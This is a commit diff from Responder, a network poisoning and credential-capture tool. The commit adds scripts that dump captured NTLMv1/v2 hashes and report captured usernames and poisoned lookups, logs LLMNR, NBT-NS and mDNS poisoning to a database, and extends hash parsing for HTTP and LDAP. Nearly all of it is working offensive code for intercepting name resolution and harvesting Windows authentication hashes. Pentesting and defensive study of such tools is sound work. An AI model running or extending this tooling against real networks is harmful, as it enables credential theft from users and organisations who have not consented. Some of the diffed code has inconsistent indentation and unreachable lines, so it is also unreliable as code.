Added: check for null sessions and MS17-010

Pass Challenge value to the LDAP parsing function

DumpHash.py

@@ -0,0 +1,49 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import sqlite3
+
+def DumpHashToFile(outfile, data):
+	with open(outfile,"w") as dump:
+		dump.write(data)
+
+def DbConnect():
+    cursor = sqlite3.connect("./Responder.db")
+    return cursor
+
+def GetResponderCompleteNTLMv2Hash(cursor):
+     res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
+     Output = ""
+     for row in res.fetchall():
+         Output += '{0}'.format(row[0])+'\n'
+     return Output
+
+def GetResponderCompleteNTLMv1Hash(cursor):
+     res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
+     Output = ""
+     for row in res.fetchall():
+         Output += '{0}'.format(row[0])+'\n'
+     return Output
+
+cursor = DbConnect()
+print "Dumping NTLMV2 hashes:"
+v2 = GetResponderCompleteNTLMv2Hash(cursor)
+DumpHashToFile("DumpNTLMv2.txt", v2)
+print v2
+print "\nDumping NTLMv1 hashes:"
+v1 = GetResponderCompleteNTLMv1Hash(cursor)
+DumpHashToFile("DumpNTLMv1.txt", v1)
+print v1

README.md

@@ -1,6 +1,6 @@
-# Responder.py #
+# Responder/MultiRelay #
 
-LLMNR/NBT-NS/mDNS Poisoner
+LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
 
 Author: Laurent Gaffie <laurent.gaffie@gmail.com >  https://g-laurent.blogspot.com
 
@@ -89,7 +89,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c
 
 ## Considerations ##
 
-- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
+- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
 
 - If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
 
@@ -162,15 +162,37 @@ Options:
 	  -v, --verbose         Increase verbosity.
 	
 
+## Donation ##
+
+You can contribute to this project by donating to the following BTC address:
+
+1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW
 
 
+## Acknowledgments ##
+
+Late Responder development has been possible because of the donations received from individuals and companies.
+
+We would like to thanks those major donator:
+
+- SecureWorks : https://www.secureworks.com/
+
+- Black Hills Information Security: http://www.blackhillsinfosec.com/
+
+- TrustedSec: https://www.trustedsec.com/
+
+- And all, ALL the pentesters around the world who donated to this project.
+
+Thank you.
 
 ## Copyright ##
 
 NBT-NS/LLMNR Responder
 
 Responder, a network take-over set of tools created and maintained by Laurent Gaffie.
+
 email: laurent.gaffie@gmail.com
+
 This program is free software: you can redistribute it and/or modify
 it under the terms of the GNU General Public License as published by
 the Free Software Foundation, either version 3 of the License, or

Report.py

@@ -0,0 +1,95 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import sqlite3
+import os
+
+def color(txt, code = 1, modifier = 0):
+	if txt.startswith('[*]'):
+		settings.Config.PoisonersLogger.warning(txt)
+	elif 'Analyze' in txt:
+		settings.Config.AnalyzeLogger.warning(txt)
+
+	if os.name == 'nt':  # No colors for windows...
+		return txt
+	return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
+
+def DbConnect():
+    cursor = sqlite3.connect("./Responder.db")
+    return cursor
+
+def GetResponderData(cursor):
+     res = cursor.execute("SELECT * FROM Responder")
+     for row in res.fetchall():
+         print('{0} : {1}, {2}, {3}, {4}, {5}, {6}, {7}, {8}'.format(row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8]))
+
+def GetResponderUsernamesStatistic(cursor):
+     res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
+     for row in res.fetchall():
+         print color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1)
+
+def GetResponderUsernames(cursor):
+     res = cursor.execute("SELECT DISTINCT user FROM Responder")
+     for row in res.fetchall():
+         print('User account: {0}'.format(row[0]))
+
+def GetResponderUsernamesWithDetails(cursor):
+     res = cursor.execute("SELECT client, user, module, type, cleartext FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder) ORDER BY client")
+     for row in res.fetchall():
+         print('IP: {0} module: {1}:{3}\nuser account: {2}'.format(row[0], row[2], row[1], row[3]))
+
+
+def GetResponderCompleteHash(cursor):
+     res = cursor.execute("SELECT fullhash FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
+     for row in res.fetchall():
+         print('{0}'.format(row[0]))
+
+def GetUniqueLookups(cursor):
+     res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
+     for row in res.fetchall():
+         print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
+
+
+def GetStatisticUniqueLookups(cursor):
+     res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
+     for row in res.fetchall():
+         print color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1)
+
+
+def SavePoisonersToDb(result):
+
+	for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode']:
+		if not k in result:
+			result[k] = ''
+
+def SaveToDb(result):
+
+	for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
+		if not k in result:
+			result[k] = ''
+
+cursor = DbConnect()
+print color("[+] Generating report...", code = 3, modifier = 1)
+print color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1)
+GetUniqueLookups(cursor)
+GetStatisticUniqueLookups(cursor)
+print color("\n[+] Extracting captured usernames:", code = 2, modifier = 1)
+GetResponderUsernames(cursor)
+print color("\n[+] Username details:", code = 2, modifier = 1)
+GetResponderUsernamesWithDetails(cursor)
+GetResponderUsernamesStatistic(cursor)
+#print color("\n[+] Captured hashes:", code = 2, modifier = 1)
+#GetResponderCompleteHash(cursor)

Responder.conf

@@ -13,8 +13,9 @@ HTTPS = On
 DNS = On
 LDAP = On
 
-; Custom challenge
-Challenge = 1122334455667788
+; Custom challenge. 
+; Use "Random" for generating a random challenge for each requests (Default)
+Challenge = Random
 
 ; SQLite Database file
 ; Delete this file to re-capture previously captured hashes

Responder.py

@@ -62,11 +62,17 @@ settings.Config.ExpandIPRanges()
 if settings.Config.AnalyzeMode:
 	print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)
 
+#Create the DB, before we start Responder.
+CreateResponderDb()
+
 class ThreadingUDPServer(ThreadingMixIn, UDPServer):
 	def server_bind(self):
 		if OsInterfaceIsSupported():
 			try:
-				self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
+                                if settings.Config.Bind_To_ALL:
+                                	pass
+                                else:
+					self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
 			except:
 				pass
 		UDPServer.server_bind(self)
@@ -75,7 +81,10 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
 	def server_bind(self):
 		if OsInterfaceIsSupported():
 			try:
-				self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
+                                if settings.Config.Bind_To_ALL:
+                                	pass
+                                else:
+					self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
 			except:
 				pass
 		TCPServer.server_bind(self)
@@ -84,7 +93,10 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
 	def server_bind(self):
 		if OsInterfaceIsSupported():
 			try:
-				self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
+                                if settings.Config.Bind_To_ALL:
+                                	pass
+                                else:
+					self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
 			except:
 				pass
                 self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
@@ -101,7 +113,10 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
 
 		if OsInterfaceIsSupported():
 			try:
-				self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
+                                if settings.Config.Bind_To_ALL:
+                                	pass
+                                else:
+					self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
 			except:
 				pass
 		UDPServer.server_bind(self)
@@ -109,7 +124,6 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
 class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
 	def server_bind(self):
 		MADDR = "224.0.0.252"
-
 		self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
 		self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
 		
@@ -117,7 +131,10 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
 		
 		if OsInterfaceIsSupported():
 			try:
-				self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
+                                if settings.Config.Bind_To_ALL:
+                                	pass
+                                else:
+					self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
 			except:
 				pass
 		UDPServer.server_bind(self)
@@ -130,7 +147,7 @@ ThreadingTCPServerAuth.allow_reuse_address = 1
 
 def serve_thread_udp_broadcast(host, port, handler):
 	try:
-		server = ThreadingUDPServer(('', port), handler)
+		server = ThreadingUDPServer((host, port), handler)
 		server.serve_forever()
 	except:
 		print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
@@ -150,12 +167,13 @@ def serve_LLMNR_poisoner(host, port, handler):
 		server = ThreadingUDPLLMNRServer((host, port), handler)
 		server.serve_forever()
 	except:
+                raise
 		print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
 
 def serve_thread_udp(host, port, handler):
 	try:
 		if OsInterfaceIsSupported():
-			server = ThreadingUDPServer((settings.Config.Bind_To, port), handler)
+			server = ThreadingUDPServer((host, port), handler)
 			server.serve_forever()
 		else:
 			server = ThreadingUDPServer((host, port), handler)
@@ -166,7 +184,7 @@ def serve_thread_udp(host, port, handler):
 def serve_thread_tcp(host, port, handler):
 	try:
 		if OsInterfaceIsSupported():
-			server = ThreadingTCPServer((settings.Config.Bind_To, port), handler)
+			server = ThreadingTCPServer((host, port), handler)
 			server.serve_forever()
 		else:
 			server = ThreadingTCPServer((host, port), handler)
@@ -177,7 +195,7 @@ def serve_thread_tcp(host, port, handler):
 def serve_thread_tcp_auth(host, port, handler):
 	try:
 		if OsInterfaceIsSupported():
-			server = ThreadingTCPServerAuth((settings.Config.Bind_To, port), handler)
+			server = ThreadingTCPServerAuth((host, port), handler)
 			server.serve_forever()
 		else:
 			server = ThreadingTCPServerAuth((host, port), handler)
@@ -192,7 +210,7 @@ def serve_thread_SSL(host, port, handler):
 		key =  os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
 
 		if OsInterfaceIsSupported():
-			server = ThreadingTCPServer((settings.Config.Bind_To, port), handler)
+			server = ThreadingTCPServer((host, port), handler)
 			server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
 			server.serve_forever()
 		else:
@@ -223,8 +241,8 @@ def main():
 			threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,)))
 
 		if settings.Config.SSL_On_Off:
-			from servers.HTTP import HTTPS
-			threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTPS,)))
+			from servers.HTTP import HTTP
+			threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTP,)))
 
 		if settings.Config.WPAD_On_Off:
 			from servers.HTTP_Proxy import HTTP_Proxy
@@ -250,8 +268,9 @@ def main():
 			threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,)))
 
 		if settings.Config.SQL_On_Off:
-			from servers.MSSQL import MSSQL
+			from servers.MSSQL import MSSQL, MSSQLBrowser
 			threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,)))
+			threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 1434, MSSQLBrowser,)))
 
 		if settings.Config.FTP_On_Off:
 			from servers.FTP import FTP

packets.py

@@ -1597,4 +1597,39 @@ class SMB2Session2Data(Packet):
     ])
 
 
+######################FindSMBTime.py##########################
+class SMBHeaderReq(Packet):
+    fields = OrderedDict([
+        ("Proto", "\xff\x53\x4d\x42"),
+        ("Cmd", "\x72"),
+        ("Error-Code", "\x00\x00\x00\x00" ),
+        ("Flag1", "\x10"),
+        ("Flag2", "\x00\x00"),
+        ("Pidhigh", "\x00\x00"),
+        ("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
+        ("Reserved", "\x00\x00"),
+        ("TID", "\x00\x00"),
+        ("PID", "\xff\xfe"),
+        ("UID", "\x00\x00"),
+        ("MID", "\x00\x00"),
+    ])
 
+class SMB2NegoReq(Packet):
+    fields = OrderedDict([
+        ("Wordcount", "\x00"),
+        ("Bcc", "\x62\x00"),
+        ("Data", "")
+    ])
+    
+    def calculate(self):
+        self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
+
+class SMB2NegoDataReq(Packet):
+    fields = OrderedDict([
+        ("StrType","\x02" ),
+        ("dialect", "NT LM 0.12\x00"),
+        ("StrType1","\x02"),
+        ("dialect1", "SMB 2.002\x00"),
+        ("StrType2","\x02"),
+        ("dialect2", "SMB 2.???\x00"),
+    ])

poisoners/LLMNR.py

@@ -62,13 +62,24 @@ class LLMNR(BaseRequestHandler):  # LLMNR Server class
 			if settings.Config.AnalyzeMode:
 				LineHeader = "[Analyze mode: LLMNR]"
 				print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
+                                SavePoisonersToDb({
+			                           'Poisoner': 'LLMNR', 
+			                           'SentToIp': self.client_address[0], 
+			                           'ForName': Name,
+			                           'AnalyzeMode': '1',
+		                                  })
 			else:  # Poisoning Mode
 				Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
 				Buffer.calculate()
 				soc.sendto(str(Buffer), self.client_address)
 				LineHeader = "[*] [LLMNR]"
 				print color("%s  Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
-
+                                SavePoisonersToDb({
+			                           'Poisoner': 'LLMNR', 
+			                           'SentToIp': self.client_address[0], 
+			                           'ForName': Name,
+			                           'AnalyzeMode': '0',
+		                                  })
 			if Finger is not None:
 				print text("[FINGER] OS Version     : %s" % color(Finger[0], 3))
 				print text("[FINGER] Client Version : %s" % color(Finger[1], 3))

poisoners/MDNS.py

@@ -51,6 +51,12 @@ class MDNS(BaseRequestHandler):
 		if settings.Config.AnalyzeMode:  # Analyze Mode
 			if Parse_IPV6_Addr(data):
 				print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
+                                SavePoisonersToDb({
+			                           'Poisoner': 'MDNS', 
+			                           'SentToIp': self.client_address[0], 
+			                           'ForName': Request_Name,
+			                           'AnalyzeMode': '1',
+		                                  })
 		else:  # Poisoning Mode
 			if Parse_IPV6_Addr(data):
 
@@ -60,3 +66,9 @@ class MDNS(BaseRequestHandler):
 				soc.sendto(str(Buffer), (MADDR, MPORT))
 
 				print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
+                                SavePoisonersToDb({
+			                           'Poisoner': 'MDNS', 
+			                           'SentToIp': self.client_address[0], 
+			                           'ForName': Request_Name,
+			                           'AnalyzeMode': '0',
+		                                  })

poisoners/NBTNS.py

@@ -54,6 +54,12 @@ class NBTNS(BaseRequestHandler):
 			if settings.Config.AnalyzeMode:  # Analyze Mode
 				LineHeader = "[Analyze mode: NBT-NS]"
 				print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
+                                SavePoisonersToDb({
+			                           'Poisoner': 'NBT-NS', 
+			                           'SentToIp': self.client_address[0], 
+			                           'ForName': Name,
+			                           'AnalyzeMode': '1',
+		                                  })
 			else:  # Poisoning Mode
 				Buffer = NBT_Ans()
 				Buffer.calculate(data)
@@ -62,6 +68,13 @@ class NBTNS(BaseRequestHandler):
 
 				print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
 
+                                SavePoisonersToDb({
+			                           'Poisoner': 'NBT-NS', 
+			                           'SentToIp': self.client_address[0], 
+			                           'ForName': Name,
+			                           'AnalyzeMode': '0',
+		                                  })
+
 			if Finger is not None:
 				print text("[FINGER] OS Version     : %s" % color(Finger[0], 3))
 				print text("[FINGER] Client Version : %s" % color(Finger[1], 3))

servers/Browser.py

@@ -22,18 +22,18 @@ import struct
 
 def WorkstationFingerPrint(data):
 	return {
-		"\x04\x00"    :"Windows 95",
-		"\x04\x10"    :"Windows 98",
-		"\x04\x90"    :"Windows ME",
-		"\x05\x00"    :"Windows 2000",
-		"\x05\x01"    :"Windows XP",
-		"\x05\x02"    :"Windows XP(64-Bit)/Windows 2003",
-		"\x06\x00"    :"Windows Vista/Server 2008",
-		"\x06\x01"    :"Windows 7/Server 2008R2",
-		"\x06\x02"    :"Windows 8/Server 2012",
-		"\x06\x03"    :"Windows 8.1/Server 2012R2",
-		"\x10\x00"    :"Windows 10/Server 2016",
-	}.get(data, 'Unknown')
+ 		"\x04\x00"    :"Windows 95",
+		"\x04\x0A"    :"Windows 98",
+		"\x04\x5A"    :"Windows ME",
+ 		"\x05\x00"    :"Windows 2000",
+ 		"\x05\x01"    :"Windows XP",
+ 		"\x05\x02"    :"Windows XP(64-Bit)/Windows 2003",
+ 		"\x06\x00"    :"Windows Vista/Server 2008",
+ 		"\x06\x01"    :"Windows 7/Server 2008R2",
+ 		"\x06\x02"    :"Windows 8/Server 2012",
+ 		"\x06\x03"    :"Windows 8.1/Server 2012R2",
+		"\x0A\x00"    :"Windows 10/Server 2016",
+ 	}.get(data, 'Unknown')
 
 
 def RequestType(data):

servers/HTTP.py

@@ -25,7 +25,7 @@ from packets import WPADScript, ServeExeFile, ServeHtmlFile
 
 
 # Parse NTLMv1/v2 hash.
-def ParseHTTPHash(data, client, module):
+def ParseHTTPHash(data, Challenge, client, module):
 	LMhashLen    = struct.unpack('<H',data[12:14])[0]
 	LMhashOffset = struct.unpack('<H',data[16:18])[0]
 	LMHash       = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
@@ -42,7 +42,7 @@ def ParseHTTPHash(data, client, module):
 		HostNameLen     = struct.unpack('<H',data[46:48])[0]
 		HostNameOffset  = struct.unpack('<H',data[48:50])[0]
 		HostName        = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
-		WriteHash       = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
+		WriteHash       = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, Challenge.encode('hex'))
 		SaveToDb({
 			'module': module, 
 			'type': 'NTLMv1', 
@@ -61,7 +61,7 @@ def ParseHTTPHash(data, client, module):
 		HostNameLen    = struct.unpack('<H',data[44:46])[0]
 		HostNameOffset = struct.unpack('<H',data[48:50])[0]
 		HostName       = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
-		WriteHash      = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
+		WriteHash      = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])
                  
 		SaveToDb({
 			'module': module, 
@@ -173,7 +173,7 @@ def GrabURL(data, host):
 			print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
 
 # Handle HTTP packet sequence.
-def PacketSequence(data, client):
+def PacketSequence(data, client, Challenge):
 	NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
 	Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
 
@@ -192,13 +192,14 @@ def PacketSequence(data, client):
 
 	if NTLM_Auth:
 		Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
+                print "Challenge 2:", Challenge.encode('hex')
 		if Packet_NTLM == "\x01":
 			GrabURL(data, client)
 			GrabReferer(data, client)
 			GrabHost(data, client)
 			GrabCookie(data, client)
 
-			Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
+			Buffer = NTLM_Challenge(ServerChallenge=Challenge)
 			Buffer.calculate()
 
 			Buffer_Ans = IIS_NTLM_Challenge_Ans()
@@ -211,7 +212,7 @@ def PacketSequence(data, client):
                                  module = "WebDAV"
                         else:
                                  module = "HTTP"
-			ParseHTTPHash(NTLM_Auth, client, module)
+			ParseHTTPHash(NTLM_Auth, Challenge, client, module)
 
 			if settings.Config.Force_WPAD_Auth and WPAD_Custom:
 				print text("[HTTP] WPAD (auth) file sent to %s" % client)
@@ -265,43 +266,47 @@ class HTTP(BaseRequestHandler):
 
 	def handle(self):
 		try:
-                	for x in range(2):   
+			Challenge = RandomChallenge()
+			
+			while True:
 				self.request.settimeout(3)
-				data = self.request.recv(8092)
+				remaining = 10*1024*1024 #setting max recieve size
+				data = ''
+				while True:
+					buff = ''
+					buff = self.request.recv(8092)
+					if buff == '':
+						break
+					data += buff
+					remaining -= len(buff)
+					if remaining <= 0:
+						break
+					#check if we recieved the full header
+					if data.find('\r\n\r\n') != -1: 
+						#we did, now to check if there was anything else in the request besides the header
+						if data.find('Content-Length') == -1:
+							#request contains only header
+							break
+					else:
+						#searching for that content-length field in the header
+						for line in data.split('\r\n'):
+							if line.find('Content-Length') != -1:
+								line = line.strip()
+								remaining = int(line.split(':')[1].strip()) - len(data)
+			
+				#now the data variable has the full request
 				Buffer = WpadCustom(data, self.client_address[0])
 
 				if Buffer and settings.Config.Force_WPAD_Auth == False:
 					self.request.send(Buffer)
+					self.request.close()
 					if settings.Config.Verbose:
 						print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
 
 				else:
-					Buffer = PacketSequence(data,self.client_address[0])
+					Buffer = PacketSequence(data,self.client_address[0], Challenge)
 					self.request.send(Buffer)
+		
 		except socket.error:
 			pass
 			
-# HTTPS Server class
-class HTTPS(StreamRequestHandler):
-	def setup(self):
-		self.exchange = self.request
-		self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
-		self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
-
-	def handle(self):
-		try:
-			data = self.exchange.recv(8092)
-			self.exchange.settimeout(0.5)
-			Buffer = WpadCustom(data,self.client_address[0])
-				
-			if Buffer and settings.Config.Force_WPAD_Auth == False:
-				self.exchange.send(Buffer)
-				if settings.Config.Verbose:
-					print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
-
-			else:
-				Buffer = PacketSequence(data,self.client_address[0])
-				self.exchange.send(Buffer)
-		except:
-			pass
-

servers/LDAP.py

@@ -27,49 +27,65 @@ def ParseSearch(data):
 	elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
 		return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
 
-def ParseLDAPHash(data, client):
-	SSPIStart = data[42:]
-	LMhashLen = struct.unpack('<H',data[54:56])[0]
+def ParseLDAPHash(data,client, Challenge):  #Parse LDAP NTLMSSP v1/v2
+        SSPIStart  = data.find('NTLMSSP')
+        SSPIString = data[SSPIStart:]
+	LMhashLen    = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
+	LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
+	LMHash       = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
+	NthashLen    = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
+	NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
 
-	if LMhashLen > 10:
-		LMhashOffset = struct.unpack('<H',data[58:60])[0]
-		LMHash       = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
-		
-		NthashLen    = struct.unpack('<H',data[64:66])[0]
-		NthashOffset = struct.unpack('<H',data[66:68])[0]
-		NtHash       = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
-		
-		DomainLen    = struct.unpack('<H',data[72:74])[0]
-		DomainOffset = struct.unpack('<H',data[74:76])[0]
-		Domain       = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
-		
-		UserLen      = struct.unpack('<H',data[80:82])[0]
-		UserOffset   = struct.unpack('<H',data[82:84])[0]
-		User         = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
-
-		WriteHash    = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + settings.Config.NumChal
+	if NthashLen == 24:
+		SMBHash      = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
+		DomainLen    = struct.unpack('<H',SSPIString[30:32])[0]
+		DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
+		Domain       = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
+		UserLen      = struct.unpack('<H',SSPIString[38:40])[0]
+		UserOffset   = struct.unpack('<H',SSPIString[40:42])[0]
+		Username     = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
+		WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))
 
 		SaveToDb({
 			'module': 'LDAP', 
-			'type': 'NTLMv1',
+			'type': 'NTLMv1-SSP', 
 			'client': client, 
-			'user': Domain+'\\'+User,
-			'hash': NtHash,
+			'user': Domain+'\\'+Username, 
+			'hash': SMBHash, 
+			'fullhash': WriteHash,
+		})
+
+	if NthashLen > 60:
+		SMBHash      = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
+		DomainLen    = struct.unpack('<H',SSPIString[30:32])[0]
+		DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
+		Domain       = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
+		UserLen      = struct.unpack('<H',SSPIString[38:40])[0]
+		UserOffset   = struct.unpack('<H',SSPIString[40:42])[0]
+		Username     = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
+		WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
+
+		SaveToDb({
+			'module': 'LDAP', 
+			'type': 'NTLMv2', 
+			'client': client, 
+			'user': Domain+'\\'+Username, 
+			'hash': SMBHash, 
 			'fullhash': WriteHash,
 		})
 
 	if LMhashLen < 2 and settings.Config.Verbose:
 		print text("[LDAP] Ignoring anonymous NTLM authentication")
 
-def ParseNTLM(data,client):
+def ParseNTLM(data,client, Challenge):
 	if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data):
-		NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
+		NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=Challenge)
 		NTLMChall.calculate()
 		return str(NTLMChall)
 	elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
-		ParseLDAPHash(data,client)
+		ParseLDAPHash(data, client, Challenge)
 
-def ParseLDAPPacket(data, client):
+def ParseLDAPPacket(data, client, Challenge):
 	if data[1:2] == '\x84':
 		PacketLen        = struct.unpack('>i',data[2:6])[0]
 		MessageSequence  = struct.unpack('<b',data[8:9])[0]
@@ -96,24 +112,43 @@ def ParseLDAPPacket(data, client):
 				})
 			
 			if sasl == "\xA3":
-				Buffer = ParseNTLM(data,client)
+				Buffer = ParseNTLM(data,client, Challenge)
 				return Buffer
 		
 		elif Operation == "\x63":
 			Buffer = ParseSearch(data)
 			return Buffer
+
 		elif settings.Config.Verbose:
 			print text('[LDAP] Operation not supported')
 
+	if data[5:6] == '\x60':
+                UserLen = struct.unpack("<b",data[11:12])[0]
+                UserString = data[12:12+UserLen]
